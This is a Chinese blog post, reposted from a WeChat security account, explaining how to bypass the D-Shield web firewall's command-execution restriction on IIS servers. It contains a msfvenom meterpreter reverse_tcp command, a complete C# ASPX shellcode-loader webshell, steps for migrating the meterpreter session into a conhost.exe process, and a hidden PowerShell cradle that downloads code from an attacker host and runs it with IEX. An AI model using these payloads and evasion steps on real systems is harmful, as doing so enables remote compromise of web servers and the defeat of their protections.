D盾防火墙防护绕过-[命令执行限制]

admin 2022年4月12日12:47:44评论99 views字数 3374阅读11分14秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 测试环境

操作系统:Windows Server 2008 R2 x64软件版本:Dv2.1.4.4[测试版]进程名称:d_manage.exe[D盾服务程序]D_Safe_Manage.exe[D盾管理程序]服务名称:d_safe[D盾_服务程序(提供网站和服务器安全服务)]


0x02 功能介绍

D盾防火墙的“命令执行限制”是通过多种方式来进行限制的,【组件限制】是通过禁止调用wscript.shell、shell.application组件来限制执行命令

D盾防火墙防护绕过-[命令执行限制]


而【执行限制】是通过禁止在w3wp.exe进程下创建子进程来限制执行命令和程序,这样能够有效防止入侵者在提权时执行命令和危险程序等。

D盾防火墙防护绕过-[命令执行限制]


w3wp.exe是IIS与应用池相关联进程,Webshell执行命令和程序时都会在w3wp.exe下创建子进程,而D盾不允许在w3wp.exe下创建子进程,所以在执行命令、脚本、程序时都会被拦截,提示:拒绝访问

D盾防火墙防护绕过-[命令执行限制]


0x03 解决方案

使用msfvenom命令生成csharp shellcode,将shellcode替换至intosec-shellcode.aspx脚本的codeBytes处,接着我们在handler监听模块里配置好相关选项,执行监听。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f csharp
set payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.1.120set lport 443exploit

D盾防火墙防护绕过-[命令执行限制]


将替换好的intosec-shellcode.aspx脚本上传至目标网站Web目录下,通过浏览器访问该脚本文件即可得到目标主机Meterpreter会话,但还是不能直接执行命令,那么要如何绕过呢?

D盾防火墙防护绕过-[命令执行限制]


这里我们可以利用进程注入的方式来绕过,首先加载powershell扩展,使用powershell_shell命令进入交互模式下执行powershell得到一个x64的conhost.exe进程来进行当前会话的进程迁移。其实只要随便执行一条命令即可,然后再Ctrl+C强制结束就会有conhost.exe

D盾防火墙防护绕过-[命令执行限制]


为什么要执行以上操作?因为在这种场景下当前权限运行的进程只有w3wp.exe,没有其它同权限进程用于进程迁移,所以只能利用powershell扩展得到个conhost.exe进程用于执行迁移。


如果遇到执行powershell但并没有conhost.exe进程的情况,可能是需要多执行几次才会有。

D盾防火墙防护绕过-[命令执行限制]


通过上图可以看到已经成功利用powershell扩展得到一个PID为4156的conhost.exe进程,这时就可以利用migrate命令将当前会话进程w3wp.exe迁移到conhost.exe进程。


然后再去执行shell命令时发现已经成功的绕过了D盾防火墙的【执行限制】,这时可以看到已经可以正常的执行系统命令、脚本和程序了。

D盾防火墙防护绕过-[命令执行限制]


注意事项:

这种方式是将shellcode加载到w3wp.exe内存中运行,但非常容易造成IIS应用程序池崩溃,访问网站出现503报错,所以还请谨慎使用。


而且获取的会话经常会断开,不适合运行在w3wp.exe、conhost.exe,所以还是得在绕过D盾防火墙的【执行限制】后再单独运行一个Payload。

powershell.exe -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy();$x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $x.downloadstring('http://192.168.1.120:8080/CEE8ABRRXl');

为什么不用msfvenom生成的aspx脚本呢?因为D盾防火墙的“脚本安全性检测”会拦截,或者在访问时会出现下图提示:无法在DLL“kernel32”中找到名为“CreateThread”的入口点,这是因为D盾禁止并拦截了这个API(kernel32.dll CreateThread)。

D盾防火墙防护绕过-[命令执行限制]


intosec-shellcode.aspx:

<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.Page" %><%@ Import Namespace="System" %><%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server"> delegate int revtcp(); protected void Page_Load(object sender, EventArgs e) { byte[] codeBytes = { Insert Shellcode Here }; IntPtr handle = IntPtr.Zero; handle = VirtualAlloc( IntPtr.Zero, codeBytes.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); try { Marshal.Copy(codeBytes, 0, handle, codeBytes.Length); revtcp msfpayload = Marshal.GetDelegateForFunctionPointer(handle, typeof(revtcp)) as revtcp; msfpayload(); } finally { VirtualFree(handle, 0, MEM_RELEASE); } }
//Windows API [DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")] public static extern IntPtr VirtualAlloc(IntPtr address, int size, uint allocType, uint protect); [DllImport("Kernel32.dll", EntryPoint = "VirtualFree")] public static extern bool VirtualFree(IntPtr address, int size, uint freeType); //flags const uint MEM_COMMIT = 0x1000; const uint MEM_RESERVE = 0x2000; const uint PAGE_EXECUTE_READWRITE = 0x40; const uint MEM_RELEASE = 0x8000;</script>

0x04 D盾 v.2.6.1.3(2022/4)

这个版本的D盾防火墙拦截了kernel32.dll的以下几个API函数。msf-shellcode.aspx、intosec-shellcode.aspx脚本的VirtualAlloc,哥斯拉Csharp马连接时的LoadLibraryW

CreateThreadVirtualAllocLoadLibraryALoadLibraryW......

D盾防火墙防护绕过-[命令执行限制]


哈哈哈,师傅们别骂了,只能怪我太菜了,研究测试了几天,最终也没能绕过最新版的【执行限制】,如果有师傅知道如何绕过或是想一起研究的可以交流下。D盾防火墙防护绕过-[命令执行限制]



关 注 有 礼



关注公众号回复“9527”可以免费领取一套HTB靶场文档和视频,1120”安全参考等杂志电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”在线杀软对比源码+数据源。

D盾防火墙防护绕过-[命令执行限制] 还在等什么?赶紧点击下方名片关注学习吧!D盾防火墙防护绕过-[命令执行限制]


推 荐 阅 读




D盾防火墙防护绕过-[命令执行限制]
D盾防火墙防护绕过-[命令执行限制]
D盾防火墙防护绕过-[命令执行限制]

欢 迎 私 下 骚 扰



D盾防火墙防护绕过-[命令执行限制]

原文始发于微信公众号(潇湘信安):D盾防火墙防护绕过-[命令执行限制]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月12日12:47:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   D盾防火墙防护绕过-[命令执行限制]http://cn-sec.com/archives/900549.html

发表评论

匿名网友 填写信息